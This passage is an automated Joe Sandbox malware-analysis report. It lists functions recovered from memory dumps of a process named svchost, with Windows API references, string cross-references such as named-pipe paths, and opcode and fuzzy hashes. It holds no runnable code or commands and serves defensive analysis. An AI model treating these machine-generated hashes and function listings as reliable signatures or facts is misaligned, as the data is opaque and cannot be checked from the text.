Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 4c990827edacdc3879a7cb4c8e50599e697146fcddd6f7e908c96fcc5a92b3c1
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1B517D32649701AAFB149B95E48AFBA27D7F345B9EF119124DA1F83748EB37D840C780

Function 000001CBD8BD8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CBD8BD9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CBD8BD90A8
RtlUnwindEx.NTDLL ref: 000001CBD8BD90F7

Strings

csm, xrefs: 000001CBD8BD908E
f, xrefs: 000001CBD8BD9026

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 5b401db059e9ca29837f15a6baad8a1f4cd991064a946fc7a0a4d37f863a2710
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: F9318E31248740AAF714DF91E886BBA37A6F344B8EF058124AE4F83745DB3BD940C784

Function 000001CBD8BD1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001CBD8BD1A60
StrCmpNIW.SHLWAPI ref: 000001CBD8BD1A7A
lstrlenW.KERNEL32 ref: 000001CBD8BD1A89
StrCpyW.SHLWAPI ref: 000001CBD8BD1A9E

Strings

\\?\, xrefs: 000001CBD8BD1A6E

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: b74828290f2ae62677b66e179717fd8b661321355523e7ba451828796880c1a7
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: DBF0813234874096F7208BE4E8C5BA96361F748B9DF845020CA4E86954DB2FC64DCB40

Function 000001CBD8BDBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001CBD8BDBCBD
GetProcAddress.KERNEL32 ref: 000001CBD8BDBCD3
FreeLibrary.KERNEL32 ref: 000001CBD8BDBCFA

Strings

mscoree.dll, xrefs: 000001CBD8BDBCB4
CorExitProcess, xrefs: 000001CBD8BDBCCC

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 37321554d2df0aa79fc22873e2386afc887469eaa0481ba7fb1d3ff3d9e834d8
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: C0F0AF7125970489FB118FE4E4C6BB92321EB8977AF4402198A6F851E4CF2BC049C780

Function 000001CBD8BD3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001CBD8BD3066
StrCpyW.SHLWAPI ref: 000001CBD8BD3076
StrCatW.SHLWAPI ref: 000001CBD8BD3082
PathCombineW.SHLWAPI ref: 000001CBD8BD3090

Strings

\\.\pipe\, xrefs: 000001CBD8BD305C

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 3c5f480dda9202fff783b6f139fd1f0141ab971eaac63cb1c0237ba01f6de79c
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A2F0543068878085FA144BD6B9955A56261AB49FD6F084120DD4F87B15DF2AC445C740

Function 000001CBD8BD50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CBD8BD5156

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 32d60e69eea9e2b2788f8227f4ad6006050a75537e6b2dfa38ae953cf35e1181
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 2902E83225DB8486E760CB95E4917AEB7A1F3C4789F101015EA8F87BA9DFBEC444CB40

Function 000001CBD8BD5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CBD8BD5726

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 9c1493acfd7b5872a94b8db0ae71fae0010280c453ccaf9609f860de902d1b3d
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 9C61F83655DB40C6F7608B95E485BAE77A1F388789F105116EA9F87BA8CBBFC440CB40

Function 000001CBD8BB3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001CBD8BB352C
_set_statfp.LIBCMT ref: 000001CBD8BB3547
_set_statfp.LIBCMT ref: 000001CBD8BB3563
_set_statfp.LIBCMT ref: 000001CBD8BB359F

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 62decd75e8cd862665d9d8c7f09f2ea4bdb99cc7548c456523e92675cecc9a33
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 2511C4726DCB0151FA5411E8E6D3BF910C06B5CB7EF484638A96F862F78B27F848C180

Function 000001CBD8BE4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001CBD8BE412C
_set_statfp.LIBCMT ref: 000001CBD8BE4147
_set_statfp.LIBCMT ref: 000001CBD8BE4163
_set_statfp.LIBCMT ref: 000001CBD8BE419F

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: f252b24e3e3f9fbba2903bc14e13e79b0561aa045f8524dcd908ab4369d06102
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 1D118232A98F5019FE6615E8D4D7FF619417B683AEF080624A57FC66D68B2BC841C182

Function 000001CBD8BAF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001CBD8BAF124

Strings

or copy constructor iterator', xrefs: 000001CBD8BAF25A, 000001CBD8BAF275
Wednesday, xrefs: 000001CBD8BAF1ED
Tuesday, xrefs: 000001CBD8BAF0F4

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 99ebee8ea45fe0a9786a9c4ed11dd03fcaa3952423eabe6646d82df20e5116f7
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 7061C23668C30042FA658BE5E5C3BFE6EA0E78178EF544515DA0F937A4DBB7C841C288

Function 000001CBD8BDAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001CBD8BDAA68
_CallSETranslator.LIBVCRUNTIME ref: 000001CBD8BDAAB7

Strings

RCC, xrefs: 000001CBD8BDAA85
MOC, xrefs: 000001CBD8BDAA7C

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 7acbc2e4e8793f3fe0f44b886d3766375e5a85e830d565591bd1b1d9b19824ab
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: A5618936608B849AFB109FA5D481BED7BA2F344B8DF045205EE4F57B98DB3AC095C780

Function 000001CBD8BAA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CBD8BAA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001CBD8BAA288

Strings

csm, xrefs: 000001CBD8BAA2DA
csm, xrefs: 000001CBD8BAA1C2

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: fd0772b57a10f5ee3d03dfca06ca8f8fdafda8dc318c2fb514941a215750b28d
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 7151D236188380CAFB648BD59081BBC77A0F355B8AF046116DA5FC7B95CBBBC450C798

Function 000001CBD8BDAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CBD8BDADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001CBD8BDAE88

Strings

csm, xrefs: 000001CBD8BDADC2
csm, xrefs: 000001CBD8BDAEDA

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 0c549113169c63b82f4eb0439e5f8d0fded427d2edf7ff314c8146e84b243ff3
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 02518E721483809BFB748BE190C5BA97BA2E354B8AF146115DA5FC7AD5CB3BD450C780

Function 000001CBD8BA8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CBD8BA8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CBD8BA84A8

Strings

f, xrefs: 000001CBD8BA8426
csm, xrefs: 000001CBD8BA848E

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 7dda59274c03c3fa635dd33b5e12994a731da3bfc9d46b6666e8b71b45b3c75c
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 73519132649B008AFB54CBD6E485FA83795F354B9DF508124DE1B83B58EBB7E840C788

Function 000001CBD8BA83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CBD8BA8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CBD8BA84A8

Strings

f, xrefs: 000001CBD8BA8426
csm, xrefs: 000001CBD8BA848E

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: d574a5838cee0a89f3f3a63565909bfd7782941e71e265548c8e5aea6bd2b172
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 6F318D31249B409AF714DF92E886BA937A4F340B8EF058014EE5F83B94DB7BD940C788

Function 000001CBD8BE2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001CBD8BE20D7
WriteFile.KERNEL32 ref: 000001CBD8BE239F
WriteFile.KERNEL32 ref: 000001CBD8BE23E5
GetLastError.KERNEL32 ref: 000001CBD8BE249B

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: f20432c764ec1e0b106a42a51970bf11a474d24c72dd99a7e8f550ff0ed66ca1
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: E4D1BC72758B808DF712CBE9D481AEC3BB5E354799F004216EE5E97B99DB36C506C380

Function 000001CBD8BD14A4 Relevance: 6.3, APIs: 5, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CBD8BD14C5
HeapFree.KERNEL32 ref: 000001CBD8BD14D4
GetProcessHeap.KERNEL32 ref: 000001CBD8BD14E1
HeapFree.KERNEL32 ref: 000001CBD8BD14F0
GetProcessHeap.KERNEL32 ref: 000001CBD8BD1500

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction ID: 0478c1a3af261ca2c2e0ef0fcd73c2b7d176ce7ca8816933a5e730a685654da8
Opcode Fuzzy Hash: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction Fuzzy Hash: 6A018036548B90DEE706DFE2E8855AA67A1F749F8AF045028DA4F83715DF36C050C780

Function 000001CBD8BE2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001CBD8BE2A9C
GetLastError.KERNEL32 ref: 000001CBD8BE2B27

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 66dc8eb791194b220bed5d3989a0fe2ba9d1d817296486305e4d0376b7eb8cdb
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: D791A132648B5089F7629FE584C2BFD2BA8A704B8EF145109EE0F97695DB37C446C780

Function 000001CBD8BD7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001CBD8BD798C
GetCurrentThreadId.KERNEL32 ref: 000001CBD8BD799A
GetCurrentProcessId.KERNEL32 ref: 000001CBD8BD79A6
QueryPerformanceCounter.KERNEL32 ref: 000001CBD8BD79B6

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 26315b277f0833fa29e6206e1a37c947975b73cd93ff35a93702093b29e9861a
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 24114C32755B0089FB01CBE0E8967A933B4F71976DF441E21DA6E827A4DB7AC198C380

Function 000001CBD8BD253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001CBD8BD2620
StrCpyW.SHLWAPI ref: 000001CBD8BD2639

Strings

\\.\pipe\, xrefs: 000001CBD8BD262B

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 0f062c2000fda37f594db2641492732ab4a3e092627b12192f5d619f654c7c9e
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6771D3362487C195F6349FE59882BF96B9AF389B8AF440025DD0F87B99DB37C945C380

Function 000001CBD8BA9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001CBD8BA9EB7

Strings

MOC, xrefs: 000001CBD8BA9E7C
RCC, xrefs: 000001CBD8BA9E85

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 8a50fd077b55d767147a8b684bd0014825f6ee4c9455cdaf633ba578169a54a8
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 4F616832608B448AFB208FA5D0817ED77A0F344B8DF044216EE6E57B99DBBAD055C784

Function 000001CBD8BD2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001CBD8BD2416
StrCpyW.SHLWAPI ref: 000001CBD8BD242D

Strings

\\.\pipe\, xrefs: 000001CBD8BD2421

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: a2bfb7fda913f1e1fe19f6c7b4fcb7ee1ffa8c84edc466839910cc72a59897c2
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 3C51073224C7C2A1F6258BE9A1E5BFA6656F38574AF440015CE4F83B5ADB3BD505C7C0

Function 000001CBD8BE26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001CBD8BE2807
GetLastError.KERNEL32 ref: 000001CBD8BE2829

Strings

U, xrefs: 000001CBD8BE27B3

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: cd8d986b631c472f2e62d269227b9dd1cdefb2696399252b170650b3eb51d930
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: BE41D632319B4085EB21CFA5E4857E977A5F788799F404021EE4EC7794DB3EC401C780

Function 000001CBD8BD94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001CBD8BD94F0
RaiseException.KERNEL32 ref: 000001CBD8BD9531

Strings

csm, xrefs: 000001CBD8BD951E

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: eebf817035f43bb8bd238e610929092bc7213130e6fb6148e294eab5ce3c98b4
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 78113032258B4082FB618F55F4407A977E5F788B99F584220DE8E47759DF3EC551CB40

Function 000001CBD8BA7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001CBD8BA737C

Strings

ierarchy Descriptor', xrefs: 000001CBD8BA7381
riptor at (, xrefs: 000001CBD8BA7364

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 8889b0c47ec14da33e3277f015dfdf4e0413e94902c43d1922f8fea6f1334091
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 1BE08671684B4890EF018FA2E8816E833A0DB68B68F489122D95D46321FB39D1F9C341

Function 000001CBD8BA73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001CBD8BA73D8

Strings

Locator', xrefs: 000001CBD8BA73DD
riptor at (, xrefs: 000001CBD8BA73C0

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 377f2ecfa8fe3b999a50dcb3cab1f77f510c3be82b2217139a6f9118ea1a173d
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 57E08671644F4880EF028FA1D4815E87360E768B58F889122C94D46321EB39D1E5C341

Function 000001CBD8BD1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CBD8BD1C2D
HeapAlloc.KERNEL32 ref: 000001CBD8BD1C3B
GetProcessHeap.KERNEL32 ref: 000001CBD8BD1C77
HeapFree.KERNEL32 ref: 000001CBD8BD1C85

Part of subcall function 000001CBD8BD152C: StrCmpIW.SHLWAPI ref: 000001CBD8BD155D

Memory Dump Source

